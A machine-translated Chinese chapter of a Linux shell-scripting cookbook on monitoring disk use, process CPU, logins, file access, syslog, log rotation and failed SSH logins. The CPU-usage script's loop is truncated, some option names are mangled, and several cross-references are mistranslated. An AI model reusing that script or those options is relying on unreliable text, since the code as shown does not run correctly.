-管理员需要监控这些模块和应用,以确认它们工作正常,并了解是否需要重新分配资源(将用户分区移动到更大的磁盘,提供更快的网络,等等)。 - -Linux 提供了检查系统当前性能的交互式程序和记录一段时间内性能的模块。 - -本章介绍监控系统活动的命令,并讨论日志记录技术。 - -# 监控磁盘使用情况 - -磁盘空间总是一种有限的资源。我们监控磁盘使用情况,以了解磁盘何时不足,然后搜索要删除、移动或压缩的大型文件或文件夹。该配方说明了磁盘监控命令。 - -# 准备好 - -`du`(磁盘使用)和`df`(磁盘空闲)命令报告磁盘使用情况。这些工具报告哪些文件和文件夹正在消耗磁盘空间,以及有多少可用空间。 - -# 怎么做... - -要查找文件使用的磁盘空间,请使用以下命令: - -```sh - $ du FILENAME1 FILENAME2 .. - -``` - -考虑这个例子: - -```sh - $ du file.txt - -``` - -要获取目录中所有文件的磁盘使用情况,以及每行中显示的每个文件的单独磁盘使用情况,请使用以下命令: - -```sh - $ du -a DIRECTORY - -``` - -`-a`选项递归输出指定目录中所有文件的结果。 - -Running `du DIRECTORY` will output a similar result, but it will show only the size consumed by subdirectories. However, this does not show the disk usage for each of the files. For printing the disk usage by files, `-a` is mandatory. - -考虑这个例子: - -```sh - $ du -a test - 4 test/output.txt - 4 test/process_log.sh - 4 test/pcpu.sh - 16 test - -``` - -`du`命令可用于目录: - -```sh - $ du test - 16 test - -``` - -# 还有更多... - -`du`命令包括定义如何报告数据的选项。 - -# 以千字节、兆字节或块为单位显示磁盘使用情况 - -默认情况下,磁盘使用命令显示文件使用的总字节数。一种更易于理解的格式是以千字节、兆字节或千兆字节等单位表示的。`-h`选项以人类可读的格式显示结果: - -```sh - du -h FILENAME - -``` - -考虑这个例子: - -```sh - $ du -h test/pcpu.sh - 4.0K test/pcpu.sh - # Multiple file arguments are accepted - -``` - -或者,像这样使用它: - -```sh - # du -h DIRECTORY - $ du -h hack/ - 16K hack/ - -``` - -# 显示磁盘使用总量 - -`-c`选项将计算文件或目录使用的总大小,并显示单个文件大小: - -```sh - $ du -c FILENAME1 FILENAME2.. - du -c process_log.sh pcpu.sh - 4 process_log.sh - 4 pcpu.sh - 8 total - -``` - -或者,像下面这样使用它: - -```sh - $ du -c DIRECTORY - $ du -c test/ - 16 test/ - 16 total - -``` - -或者: - -```sh - $ du -c *.txt - # Wildcards - -``` - -`-c`选项可以与`-a`和`-h`等选项一起使用,以产生通常的输出,其中有一个包含总大小的额外行。 - -`-s`选项(汇总),将打印总计作为输出。`-h`标志可用于以人类可读的格式打印: - -```sh - $ du -sh /usr/bin - 256M /usr/bin - -``` - -# 以指定单位打印尺寸 - -`-b`、`-k`和`-m`选项将强制`du`以指定单位打印磁盘使用情况。请注意,这些不能与`-h`选项一起使用: - -* 以字节为单位打印大小(默认情况下): - -```sh - $ du -b FILE(s) - -``` - -* 以千字节为单位打印大小: - -```sh - $ du -k FILE(s) - -``` - -* 以兆字节为单位打印大小: - -```sh - $ du -m FILE(s) - -``` - -* 以指定的给定`BLOCK`尺寸打印尺寸: - -```sh - $ du -B BLOCK_SIZE FILE(s) - -``` - -这里,`BLOCK_SIZE`以字节为单位指定。 - -请注意,返回的文件大小在直觉上并不明显。使用`-b`选项,`du`报告文件中的确切字节数。使用其他选项,`du`报告文件使用的磁盘空间量。由于磁盘空间是以固定大小的块(通常为 4 K)分配的,400 字节文件使用的空间将是单个块(4 K): - -```sh - $ du pcpu.sh - 4 pcpu.sh - $ du -b pcpu.sh - 439 pcpu.sh - $ du -k pcpu.sh - 4 pcpu.sh - $ du -m pcpu.sh - 1 pcpu.sh - $ du -B 4 pcpu.sh - 1024 pcpu.sh - -``` - -# 从磁盘使用计算中排除文件 - -`--exclude`和`-exclude-from`选项导致`du`将文件排除在磁盘使用计算之外。 - -* `-exclude`选项可以与通配符或单个文件名一起使用: - -```sh - $ du --exclude "WILDCARD" DIRECTORY - -``` - -考虑这个例子: - -```sh - # Excludes all .txt files from calculation - $ du --exclude "*.txt" * - # Exclude temp.txt from calculation - $ du --exclude "temp.txt" * - -``` - -* `--exclude`选项将排除一个或多个符合模式的文件。`-exclude-from`选项允许排除更多文件或模式。每个文件名或模式必须在一行上。 - -```sh - $ ls *.txt >EXCLUDE.txt - $ ls *.odt >>EXCLUDE.txt - # EXCLUDE.txt contains a list of all .txt and .odt files. - $ du --exclude-from EXCLUDE.txt DIRECTORY - -``` - -`-max-depth`选项限制 du 将检查的子目录数量。`1`的深度计算当前目录中的磁盘使用情况。`2`深度计算当前目录和下一个子目录的使用情况: - -```sh - $ du --max-depth 2 DIRECTORY - -``` - -The `-x` option limits `du` to a single filesystem. The default behavior for du is to follow links and mount points. - -`du`命令要求对所有文件有读取权限,对所有目录有读取和执行权限。如果运行`du`命令的用户没有适当的权限,该命令将引发错误。 - -# 从给定目录中查找十个最大大小的文件 - -结合`du`和排序命令,找到需要删除或移动的大文件: - -```sh - $ du -ak SOURCE_DIR | sort -nrk 1 | head - -``` - -`-a`选项使 du 显示`SOURCE_DIR`中所有文件和目录的大小。输出的第一列是大小。`-k`选项使其以千字节为单位显示。第二列包含文件或文件夹名称。 - -`sort`的`-n`选项执行数字排序。`-1`选项指定列`1`,而`-r`选项颠倒排序顺序。`head`命令从输出中提取前十行: - -```sh - $ du -ak /home/slynux | sort -nrk 1 | head -n 4 - 50220 /home/slynux - 43296 /home/slynux/.mozilla - 43284 /home/slynux/.mozilla/firefox - 43276 /home/slynux/.mozilla/firefox/8c22khxc.default - -``` - -这种单行的缺点之一是它在结果中包含目录。我们可以用`find`命令改进一行程序,只输出大文件: - -```sh - $ find . -type f -exec du -k {} \; | sort -nrk 1 | head - -``` - -find 命令只为 du 选择要处理的文件名,而不是让 du 遍历文件系统来选择要报告的项目。 - -请注意,du 命令报告文件所需的字节数。这不一定与文件消耗的磁盘空间量相同。磁盘上的空间是按块分配的,因此一个 1 字节的文件将占用一个磁盘块,通常在 512 到 4096 字节之间。 - -下一节将介绍如何使用`df`命令来确定实际可用的空间。 - -# 磁盘空闲信息 - -`du`命令提供有关使用情况的信息,而`df`提供有关可用磁盘空间的信息。使用`-h`和`df`以人类可读的格式打印磁盘空间。考虑这个例子: - -```sh - $ df -h - Filesystem Size Used Avail Use% Mounted on - /dev/sda1 9.2G 2.2G 6.6G 25% / - none 497M 240K 497M 1% /dev - none 502M 168K 501M 1% /dev/shm - none 502M 88K 501M 1% /var/run - none 502M 0 502M 0% /var/lock - none 502M 0 502M 0% /lib/init/rw - none 9.2G 2.2G 6.6G 25% - /var/lib/ureadahead/debugfs - -``` - -可以用文件夹名调用`df`命令。在这种情况下,它将报告包含该目录的磁盘分区的可用空间。如果您不知道哪个分区包含目录,这很有用: - -```sh - $ df -h /home/user - Filesystem Size Used Avail Use% Mounted on - /dev/md1 917G 739G 133G 85% /raid1 - -``` - -# 计算命令的执行时间 - -执行时间是分析应用效率或比较算法的标准。 - -# 怎么做... - -1. `time`命令测量应用的执行时间。 - -考虑以下示例: - -```sh - $ time APPLICATION - -``` - -`time`命令执行`APPLICATION`。当`APPLICATION`完成后,`time`命令将实时、系统和用户时间统计报告给`stderr`,并将应用的正常输出发送给`stdout`。 - -```sh - $ time ls - test.txt - next.txt - real 0m0.008s - user 0m0.001s - sys 0m0.003s - -``` - -An executable binary of the `time` command is found in `/usr/bin/time`. If you are running bash, you'll get the shell built-in `time` by default. The shell built-in `time` has limited options. Use an absolute path (`/usr/bin/time`) to access the extended functionality. - -2. `-o`选项将时间统计写入文件: - -```sh - $ /usr/bin/time -o output.txt COMMAND - -``` - -文件名必须出现在`-o`标志之后。 - -`-a`标志可以与`-o`一起使用,将时间统计附加到文件中: - -```sh - $ /usr/bin/time -a -o output.txt COMMAND - -``` - -3. `-f`选项指定要报告的统计数据和输出格式。格式字符串包括一个或多个以`%`为前缀的参数。格式参数包括以下内容: - -* 实时:`%e` - -* 用户时间:`%U` - -* 系统时间:`%S` - -* 系统页面大小:`%Z` - -我们可以通过将这些参数与额外的文本相结合来创建格式化的输出: - -```sh - $ /usr/bin/time -f "FORMAT STRING" COMMAND - -``` - -考虑这个例子: - -```sh - $ /usr/bin/time -f "Time: %U" -a -o timing.log uname - Linux - -``` - -`%U`参数指定用户时间。 - -**时间**命令将目标应用的输出发送至`stdout`,时间命令输出至`stderr`。我们可以用重定向操作符(`>`)重定向输出,用(`2>`)错误重定向操作符重定向时间信息输出。 - -考虑以下示例: - -```sh - $ /usr/bin/time -f "Time: %U" uname> command_output.txt - 2>time.log - $ cat time.log - Time: 0.00 - $ cat command_output.txt - Linux - -``` - -4. format 命令可以报告内存使用情况以及定时信息。`%M`标志显示以 KB 为单位使用的最大内存,`%Z`参数使 time 命令报告系统页面大小: - -```sh - $ /usr/bin/time -f "Max: %M K\nPage size: %Z bytes" \ - ls> - /dev/null - Max: 996 K - Page size: 4096 bytes - -``` - -在这个例子中,目标应用的输出并不重要,所以标准输出被定向到`/dev/null`而不是被显示。 - -# 它是如何工作的... - -默认情况下,time 命令会报告这些时间: - -* **真实**:这是挂钟时间——命令从开始到结束的时间。这是经过的时间,包括其他进程使用的时间片和进程被阻塞时花费的时间(例如,等待输入/输出完成花费的时间)。 -* **用户**:这是进程内用户模式代码(内核外)花费的 CPU 时间。这是用于执行进程的 CPU 时间。其他进程以及这些进程被阻止时所花费的时间不计入该数字。 -* **Sys** :这是进程内内核花费的 CPU 时间量;花在内核内系统调用上的 CPU 时间,与运行在用户空间的库代码相反。和用户时间一样,这只是进程使用的 CPU 时间。有关内核模式(也称为主管模式)和系统调用机制的简要描述,请参考下表。 - -关于一个过程的许多细节可以通过`time`命令报告。这些包括退出状态、接收到的信号数量和进行的上下文切换数量。当向`-f`选项提供合适的格式字符串时,可以显示每个参数。 - -下表显示了一些有趣的参数: - -| **参数** | **描述** | -| --- | --- | -| `%C` | 这显示了正在计时的命令的名称和命令行参数。 | -| `%D` | 这显示了进程的非共享数据区的平均大小,以千字节为单位。 | -| `%E` | 这显示了进程使用的实际(挂钟)时间,单位为[小时:]分钟:秒。 | -| `%x` | 这显示了命令的退出状态。 | -| `%k` | 这显示了传递到流程的信号数量。 | -| `%W` | 这显示了进程从主内存中换出的次数。 | -| `%Z` | 这显示了以字节为单位的系统页面大小。这是每个系统的常数,但在不同系统之间有所不同。 | -| `%P` | 这显示了该作业获得的 CPU 百分比。这只是用户+系统时间除以总运行时间。它还会打印一个百分比符号。 | -| `%K` | 这显示了进程的平均总(数据+堆栈+文本)内存使用量,以千字节为单位。 | -| `%w` | 这显示了程序在等待输入/输出操作完成时自动进行上下文切换的次数。 | -| `%c` | 这显示了进程被非自愿上下文切换的次数(因为时间片过期了)。 | - -# 收集有关登录用户、引导日志和引导失败的信息 - -Linux 支持报告运行时系统各方面的命令,包括登录用户、计算机开机多长时间以及启动失败。这些数据用于分配资源和诊断问题。 - -# 准备好 - -这个食谱介绍了 who、w、users、uptime、last 和 lastb 命令。 - -# 怎么做... - -1. `who`命令报告当前用户的信息: - -```sh - $ who - slynux pts/0 2010-09-29 05:24 (slynuxs-macbook-pro.local) - slynux tty7 2010-09-29 07:08 (:0) - -``` - -此输出列出了登录名、用户使用的 TTY、登录时间以及有关已登录用户的远程主机名(或 X 显示信息)。 - -**TTY** (the term comes from **TeleTYpewriter**) is the device file associated with a text terminal that is created in `/dev` when a terminal is newly spawned by the user (for example, `/dev/pts/3`). The device path for the current terminal can be found out by executing the `tty` command. - -2. `w`命令提供了更详细的信息: - -```sh - $ w - 07:09:05 up 1:45, 2 users, load average: 0.12, 0.06, 0.02 - USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT - slynux pts/0 slynuxs 05:24 0.00s 0.65s 0.11s sshd: slynux - slynux tty7 :0 07:08 1:45m 3.28s 0.26s bash - -``` - -第一行列出了当前时间、系统正常运行时间、当前登录的用户数量以及过去 1 分钟、5 分钟和 15 分钟的平均系统负载。接下来,将显示每个登录会话的详细信息,每行包含登录名、TTY 名称、远程主机、登录时间、空闲时间、用户自登录以来使用的总 CPU 时间、当前运行的进程的 CPU 时间以及当前进程的命令行。 - -Load average in the `uptime` command's output indicates system load. This is explained in more detail in [Chapter 10](10.html), *Administration Calls*. - -3. 用户命令仅列出登录用户的名称: - -```sh - $ users - slynux slynux slynux hacker - -``` - -如果用户打开了多个会话,无论是通过远程登录几次还是打开几个终端窗口,每个会话都会有一个条目。在前面的输出中,`slynux`用户已经打开了三个终端会话。打印唯一用户最简单的方法是通过`sort`和`uniq`过滤输出: - -```sh - $ users | tr ' ' '\n' | sort | uniq - slynux - hacker - -``` - -`tr`命令将每个`' '`字符替换为`'\n'`。然后`sort`和`uniq`的组合将列表缩减为每个用户的唯一条目。 - -4. `uptime`命令报告系统通电时间: - -```sh - $ uptime - 21:44:33 up 6 days, 11:53, 8 users, load average: 0.09, 0.14, - 0.09 - -``` - -`up`后面的时间是系统通电的时间。我们可以写一行代码来提取正常运行时间: - -```sh - $ uptime | sed 's/.*up \(.*\),.*users.*/\1/' - -``` - -这将使用`sed`仅用单词 up 和用户前的逗号之间的字符串替换输出行。 - -5. `last`命令提供了自`/var/log/wtmp`文件创建以来登录到系统的用户列表。这可能要追溯到一年或更久以前: - -```sh - $ last - aku1 pts/3 10.2.1.3 Tue May 16 08:23 - 16:14 (07:51) - cfly pts/0 cflynt.com Tue May 16 07:49 still logged in - dgpx pts/0 10.0.0.5 Tue May 16 06:19 - 06:27 (00:07) - stvl pts/0 10.2.1.4 Mon May 15 18:38 - 19:07 (00:29) - -``` - -`last`命令报告谁登录,他们被分配了什么`tty`,他们从哪里登录(IP 地址或本地终端),登录,注销和会话时间。名为`reboot`的伪用户将重启标记为登录。 - -6. `last`命令允许您定义一个用户,只获取该用户的信息: - -```sh - $ last USER - -``` - -7. 用户可以是真实用户,也可以是伪用户`reboot`: - -```sh - $ last reboot - reboot system boot 2.6.32-21-generi Tue Sep 28 18:10 - 21:48 - (03:37) - reboot system boot 2.6.32-21-generi Tue Sep 28 05:14 - 21:48 - (16:33) - -``` - -8. `lastb`命令将给出失败登录尝试的列表: - -```sh - # lastb - test tty8 :0 Wed Dec 15 03:56 - 03:56 - (00:00) - slynux tty8 :0 Wed Dec 15 03:55 - 03:55 - (00:00) - -``` - -`lastb`命令必须作为根用户运行。 - -`last`和`lastb`都报告了`/var/log/wtmp`的内容。默认值是报告事件的月、日和时间。但是,该文件中可能有多年的数据,月/日可能会令人困惑。 - -`-F`标志将报告完整日期: - -```sh - # lastb -F - hacker tty0 1.2.3.4 Sat Jan 7 11:50:53 2017 - - Sat Jan 7 11:50:53 2017 (00:00) - -``` - -# 列出一小时内消耗 CPU 最多的十个进程 - -中央处理器是另一个资源,可以被一个不良进程耗尽。Linux 支持命令来识别和控制占用 CPU 的进程。 - -# 准备好 - -`ps`命令显示系统上运行的进程的详细信息。它报告 CPU 使用、运行命令、内存使用和进程状态等详细信息。`ps`命令可以在脚本中用来识别一个小时内谁消耗了最多的 CPU 资源。有关`ps`命令的更多详细信息,请参考[第 10 章](10.html)、*管理调用*。 - -# 怎么做... - -这个 shell 脚本监控和计算一个小时的 CPU 使用情况: - -```sh -#!/bin/bash -#Name: pcpu_usage.sh -#Description: Script to calculate cpu usage by processes for 1 hour - -#Change the SECS to total seconds to monitor CPU usage. -#UNIT_TIME is the interval in seconds between each sampling - -SECS=3600 -UNIT_TIME=60 - -STEPS=$(( $SECS / $UNIT_TIME )) - -echo Watching CPU usage... ; - -# Collect data in temp file - -for((i=0;i> /tmp/cpu_usage.$$ - sleep $UNIT_TIME -done - -# Process collected data -echo -echo CPU eaters : - -cat /tmp/cpu_usage.$$ | \ -awk ' -{ process[$1]+=$2; } -END{ - for(i in process) - { - printf("%-20s %s\n",i, process[i]) ; - } - - }' | sort -nrk 2 | head - -#Remove the temporary log file -rm /tmp/cpu_usage.$$ - -``` - -输出类似于以下内容: - -```sh -$ ./pcpu_usage.sh -Watching CPU usage... -CPU eaters : -Xorg 20 -firefox-bin 15 -bash 3 -evince 2 -pulseaudio 1.0 -pcpu.sh 0.3 -wpa_supplicant 0 -wnck-applet 0 -watchdog/0 0 -usb-storage 0 - -``` - -# 它是如何工作的... - -CPU 使用率数据由运行一小时(3600 秒)的第一个循环生成。每分钟一次,`ps -eocomm,pcpu`命令生成一份关于当时系统活动的报告。`-e`选项指定收集所有进程的数据,而不仅仅是该会话的任务。`-o`选项指定输出格式。`comm`和`pcpu`字分别指定报告命令名称和 CPU 百分比。该`ps`命令生成一行命令名和每个运行进程的当前 CPU 使用率百分比。用`grep`过滤这些行,删除没有使用 CPU 的行(%CPU 为 0.0)和`COMMAND %CPU`标题。有趣的行被附加到一个临时文件中。 - -临时文件名为`/tmp/cpu_usage.$$`。这里,`$$`是保存当前脚本的进程 ID (PID)的脚本变量。例如,如果脚本的 PID 是`1345`,临时文件将被命名为`/tmp/cpu_usage.1345`。 - -统计文件将在一小时后准备就绪,并将包含 60 组条目,对应于每分钟的系统状态。`awk`脚本将每个进程的总 CPU 使用量汇总到一个名为进程的关联数组中。这个数组使用进程名作为数组索引。最后,`awk`根据总的 CPU 使用情况,用数字反向排序对结果进行排序,并使用 head 将报告限制在前 10 个使用情况条目。 - -# 请参见 - -* 使用 awk 进行高级文本处理的*[第四章](04.html)*发短信和开车*的*食谱解释了`awk`命令 -* *使用头尾打印[第三章](03.html)、*文件输入、文件输出*的最后或前 10 行*配方解释了`tail`命令 - -# 用手表监控命令输出 - -watch 命令将每隔一段时间执行一个命令,并显示该命令的输出。您可以使用终端会话和第 10 章*管理调用*中描述的屏幕命令创建一个定制的仪表板,通过手表监控您的系统。 - -# 怎么做... - -`watch`命令定期监控终端上的命令输出。`watch`命令的语法如下: - -```sh - $ watch COMMAND - -``` - -考虑这个例子: - -```sh - $ watch ls - -``` - -或者,它可以这样使用: - -```sh - $ watch 'df /home' - -``` - -考虑以下示例: - -```sh - # list only directories - $ watch 'ls -l | grep "^d"' - -``` - -该命令将以两秒的默认间隔更新输出。 - -`-n SECONDS`选项定义更新输出的时间间隔: - -```sh - # Monitor the output of ls -l every of 5 seconds - $ watch -n 5 'ls -l' - -``` - -# 还有更多 - -`watch`命令可以与任何产生输出的命令一起使用。有些命令经常改变它们的输出,这些改变比整个输出更重要。watch 命令将突出显示连续运行之间的差异。请注意,此突出显示仅持续到下一次更新。 - -# 突出显示手表输出的差异 - -`-d`选项突出显示正在监控的命令的连续运行之间的差异: - -```sh - $ watch -d 'COMMANDS' - - # Highlight new network connections for 30 seconds - $ watch -n 30 -d 'ss | grep ESTAB' - -``` - -# 记录对文件和目录的访问 - -当文件被访问时,有许多原因需要通知您。您可能想知道文件何时被修改以便备份,或者您可能想知道`/bin`中的文件何时被黑客修改。 - -# 准备好了 - -`inotifywait`命令监控文件或目录,并在事件发生时报告。默认情况下,它不会出现在每个 Linux 发行版中。你必须安装`inotify-tools`包。它需要 Linux 内核中的`inotify`支持。大多数新的 GNU/Linux 发行版将`inotify`支持编译到内核中。 - -# 怎么做... - -`inotify`命令可以监控一个目录: - -```sh - #/bin/bash - #Filename: watchdir.sh - #Description: Watch directory access - path=$1 - #Provide path of directory or file as argument to script - - $ inotifywait -m -r -e create,move,delete $path -q - -``` - -示例输出如下所示: - -```sh - $ ./watchdir.sh . - ./ CREATE new - ./ MOVED_FROM new - ./ MOVED_TO news - ./ DELETE news - -``` - -# 它是如何工作的... - -前面的脚本将记录给定路径中的创建、移动和删除事件。`-m`选项使手表保持活动状态并持续监控变化,而不是在事件发生后退出。`-r`选项启用目录的递归监控(符号链接被忽略)。`-e`选项指定了要关注的事件列表,`-q`减少了冗长的消息,仅打印所需的消息。该输出可以重定向到日志文件。 - -`inotifywait`可以检查的事件包括: - -| **事件** | **描述** | -| `access` | 当文件发生读取时 | -| `modify` | 当文件内容被修改时 | -| `attrib` | 当元数据改变时 | -| `move` | 当文件经历移动操作时 | -| `create` | 创建新文件时 | -| `open` | 当文件经历打开操作时 | -| `close` | 当文件经历关闭操作时 | -| `delete` | 当文件被移除时 | - -# 使用系统日志记录 - -与守护进程和系统进程相关的日志文件位于`/var/log`目录。这些日志文件使用名为**系统日志**的标准协议,由`syslogd`守护程序处理。每个标准应用都使用`syslogd`来记录信息。本食谱描述了如何使用`syslogd`从 shell 脚本中记录信息。 - -# 准备好 - -日志文件帮助您推断系统出现了什么问题。用日志文件消息记录进度和操作是一种很好的做法。记录器命令将数据放入带有`syslogd`的日志文件中。 - -这些是一些标准的 Linux 日志文件。有些发行版对这些文件使用不同的名称: - -| **日志文件** | **描述** | -| `/var/log/boot.log` | 启动日志信息 | -| `/var/log/httpd` | Apache web 服务器日志 | -| `/var/log/messages` | 开机后内核信息 | -| `/var/log/auth.log``/var/log/secure` | 用户身份验证日志 | -| `/var/log/dmesg` | 系统启动消息 | -| `/var/log/mail.log``/var/log/maillog` | 邮件服务器日志 | -| `/var/log/Xorg.0.log` | x 服务器日志 | - -# 怎么做... - -`logger`命令允许脚本创建和管理日志消息: - -1. 在系统日志文件`/var/log/messages`中放置一条消息: - -```sh - $ logger LOG_MESSAGE - -``` - -考虑这个例子: - -```sh - $ logger This is a test log line - - $ tail -n 1 /var/log/messages - Sep 29 07:47:44 slynux-laptop slynux: This is a test log line - -``` - -`/var/log/messages`日志文件是通用日志文件。当使用`logger`命令时,默认情况下会登录到`/var/log/messages`。 - -2. `-t`标志为消息定义了一个标签: - -```sh - $ logger -t TAG This is a message - - $ tail -n 1 /var/log/messages - Sep 29 07:48:42 slynux-laptop TAG: This is a message - -``` - -`/etc/rsyslog.d`中记录器和配置文件的`-p`选项控制日志消息的保存位置。 - -要保存到自定义文件,请按照下列步骤操作: - -* 在`/etc/rsyslog.d`中创建新的配置文件 - -* 添加优先级模式和日志文件 - -* 重新启动日志守护程序 - -考虑以下示例: - -```sh - # cat /etc/rsyslog.d/myConfig - local7.* /var/log/local7 - # cd /etc/init.d - # ./syslogd restart - # logger -p local7.info A line to be placed in /var/log/local7 - -``` - -3. `-f`选项将记录另一个文件中的行: - -```sh - $ logger -f /var/log/source.log - -``` - -# 请参见 - -* 使用头尾打印[第三章](03.html)、*文件输入、文件输出*的最后或前 10 行配方解释了头尾命令 - -# 使用日志轮换管理日志文件 - -日志文件跟踪系统上的事件。它们对于调试问题和监控实时机器至关重要。日志文件增长久而久之和更多的事件被记录。由于较旧的数据不如当前数据有用,日志文件在达到大小限制时会被重命名,最旧的文件会被删除。 - -# 准备好 - -`logrotate`命令可以限制日志文件的大小。系统日志工具将信息附加到日志文件的末尾,而不删除以前的数据。因此,日志文件会随着时间的推移而变大。`logrotate`命令扫描配置文件中定义的日志文件。它将从日志文件中保留最后 100 千字节(例如,指定的 S *IZE = 100 k* ,并将其余数据(旧的日志数据)移动到新文件`logfile_name.1`。当旧数据文件(`logfile_name.1`)超过`SIZE`,`logrotate`将该文件重命名为`logfile_name.2`,并开始新的`logfile_name.1`。`logrotate`命令可以将较旧的日志压缩为`logfile_name.1.gz`、`logfile_name.2.gz`等。 - -# 怎么做... - -系统的`logrotate`配置文件保存在`/etc/logrotate.d`中。大多数 Linux 发行版在这个文件夹中都有很多文件。 - -我们可以为日志文件创建自定义配置(比如`/var/log/program.log`): - -```sh -$ cat /etc/logrotate.d/program -/var/log/program.log { -missingok -notifempty -size 30k - compress -weekly - rotate 5 -create 0600 root root -} - -``` - -这是一个完整的配置。`/var/log/program.log`字符串指定日志文件路径。Logrotate 将在同一目录中存档旧日志。 - -# 它是如何工作的... - -`logrotate`命令支持配置文件中的这些选项: - -| **参数** | **描述** | -| `missingok` | 这将忽略日志文件是否丢失,并在不旋转日志的情况下返回。 | -| `notifempty` | 这仅在源日志文件不为空时循环日志。 | -| `size 30k` | 这限制了要进行旋转的日志文件的大小。1 MB 可以是 1 M。 | -| `compress` | 这使得可以使用 gzip 对旧日志进行压缩。 | -| `weekly` | 这指定了要执行旋转的时间间隔。可以是每周、每年或每天。 | -| `rotate 5` | 这是要保留的日志文件归档的旧副本数。由于指定了 5,所以将会有`program.log.1.gz`、`program.log.2.gz`等等直到`program.log.5.gz`。 | -| `create 0600 root root` | 这指定了要创建的日志文件归档的模式、用户和组。 | - -表中的选项是可以指定的内容的示例。更多选项可以在`logrotate`配置文件中定义。更多信息请参考`http://linux.die.net/man/8/logrotate`手册页。 - -# 监控用户登录以发现入侵者 - -日志文件可用于收集有关系统状态和系统攻击的详细信息。 - -假设我们有一个系统连接到互联网,并启用了 SSH。许多攻击者试图登录系统。我们需要设计一个入侵检测系统来识别登录失败的用户。这种尝试可能是黑客使用字典攻击。该脚本应生成一份包含以下详细信息的报告: - -* 登录失败的用户 -* 尝试次数 -* 攻击者的 IP 地址 -* IP 地址的主机映射 -* 尝试登录的时间 - -# 准备好了 - -shell 脚本可以扫描日志文件并收集所需的信息。登录详情记录在`/var/log/auth.log`或`/var/log/secure`中。该脚本扫描日志文件以查找失败的登录尝试,并分析数据。它使用`host`命令从 IP 地址映射主机。 - -# 怎么做... - -入侵检测脚本如下所示: - -```sh -#!/bin/bash -#Filename: intruder_detect.sh -#Description: Intruder reporting tool with auth.log input -AUTHLOG=/var/log/auth.log - -if [[ -n $1 ]]; -then - AUTHLOG=$1 - echo Using Log file : $AUTHLOG -fi - -# Collect the failed login attempts -LOG=/tmp/failed.$$.log -grep "Failed pass" $AUTHLOG > $LOG - -# extract the users who failed -users=$(cat $LOG | awk '{ print $(NF-5) }' | sort | uniq) - -# extract the IP Addresses of failed attempts -ip_list="$(egrep -o "[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+" $LOG | sort | uniq)" - -printf "%-10s|%-3s|%-16s|%-33s|%s\n" "User" "Attempts" "IP address" \ - "Host" "Time range" - -# Loop through IPs and Users who failed. - -for ip in $ip_list; -do - for user in $users; - do - # Count attempts by this user from this IP - - attempts=`grep $ip $LOG | grep " $user " | wc -l` - - if [ $attempts -ne 0 ] - then - first_time=`grep $ip $LOG | grep " $user " | head -1 | cut -c-16` - time="$first_time" - if [ $attempts -gt 1 ] - then - last_time=`grep $ip $LOG | grep " $user " | tail -1 | cut -c-16` - time="$first_time -> $last_time" - fi - HOST=$(host $ip 8.8.8.8 | tail -1 | awk '{ print $NF }' ) - printf "%-10s|%-3s|%-16s|%-33s|%-s\n" "$user" "$attempts" "$ip"\ - "$HOST" "$time"; - fi - done -done - -rm $LOG - -``` - -输出类似于以下内容: - -```sh -Using Log file : secure -User |Attempts|IP address|Host |Time range -pi |1 |10.251.90.93 |3(NXDOMAIN) |Jan 2 03:50:24 -root |1 |10.56.180.82 |2(SERVFAIL) |Dec 26 04:31:29 -root |6 |10.80.142.25 |example.com |Dec 19 07:46:49 -> Dec 19 07:47:38 - -``` - -# 它是如何工作的... - -`intruder_detect.sh`脚本默认使用`/var/log/auth.log`作为输入。或者,我们可以提供一个带有命令行参数的日志文件。失败的登录被收集在临时文件中以减少处理。 - -当登录尝试失败时,SSH 日志行如下所示: - -```sh - sshd[21197]: Failed password for bob1 from 10.83.248.32 port 50035 - -``` - -`Failed passw`字符串的脚本`greps`将这些行放在`/tmp/failed.$$.log`中。 - -下一步是提取登录失败的用户。`awk`命令从末尾提取第五个字段(用户名)和要排序的管道,并`uniq`创建用户列表。 - -接下来,用正则表达式和`egrep`命令提取唯一的 IP 地址。 - -嵌套 for 循环遍历 IP 地址和用户,提取每个 IP 地址和用户组合的行。如果该 IP/用户组合的尝试次数> 0,则第一次出现的时间用`grep`、头和切割提取。如果尝试次数为> 1,则使用尾部而不是头部提取最后一次。 - -然后使用格式化的`printf`命令报告该登录尝试。 - -最后,临时文件被删除。 - -# 监控远程磁盘使用状况 - -磁盘填满,有时会磨损。如果不在其他驱动器出现故障之前更换故障的驱动器,即使是突击检查的存储系统也会出现故障。监控存储系统的运行状况是管理员工作的一部分。 - -当自动脚本检查网络上的设备并生成一行报告,包括日期、机器的 IP 地址、设备、设备容量、已用空间、可用空间、使用百分比和警报状态时,这项工作会变得更加容易。如果磁盘使用率低于 80%,驱动器状态将报告为`SAFE`。如果驱动器已满,需要注意,状态报告为`ALERT`。 - -# 准备好 - -该脚本使用 SSH 登录远程系统,收集磁盘使用统计数据,并将其写入中央机器的日志文件。该脚本可以安排在特定时间运行。 - -该脚本需要远程机器上的通用用户帐户,以便`disklog`脚本可以登录收集数据。我们应该为普通用户配置 SSH 自动登录(第八章*【老男孩网络】*的[T2 食谱解释了自动登录)。](08.html) - -# 怎么做... - -下面是代码: - -```sh -#!/bin/bash -#Filename: disklog.sh -#Description: Monitor disk usage health for remote systems - -logfile="diskusage.log" - -if [[ -n $1 ]] -then - logfile=$1 -fi - - # Use the environment variable or modify this to a hardcoded value -user=$USER - -#provide the list of remote machine IP addresses -IP_LIST="127.0.0.1 0.0.0.0" -# Or collect them at runtime with nmap -# IP_LIST=`nmap -sn 192.168.1.2-255 | grep scan | grep cut -c22-` - -if [ ! -e $logfile ] -then - printf "%-8s %-14s %-9s %-8s %-6s %-6s %-6s %s\n" \ - "Date" "IP address" "Device" "Capacity" "Used" "Free" \ - "Percent" "Status" > $logfile -fi - ( -for ip in $IP_LIST; -do - ssh $user@$ip 'df -H' | grep ^/dev/ > /tmp/$$.df - - while read line; - do - cur_date=$(date +%D) - printf "%-8s %-14s " $cur_date $ip - echo $line | \ - awk '{ printf("%-9s %-8s %-6s %-6s %-8s",$1,$2,$3,$4,$5); }' - - pusg=$(echo $line | egrep -o "[0-9]+%") - pusg=${pusg/\%/}; - if [ $pusg -lt 80 ]; - then - echo SAFE - else - echo ALERT - fi - - done< /tmp/$$.df -done - -) >> $logfile - -``` - -`cron`实用程序将安排脚本定期运行。例如,每天上午 10 点运行脚本,在`crontab`中写下以下条目: - -```sh -00 10 * * * /home/path/disklog.sh /home/user/diskusg.log - -``` - -运行`crontab -e`命令并添加前面的行。 - 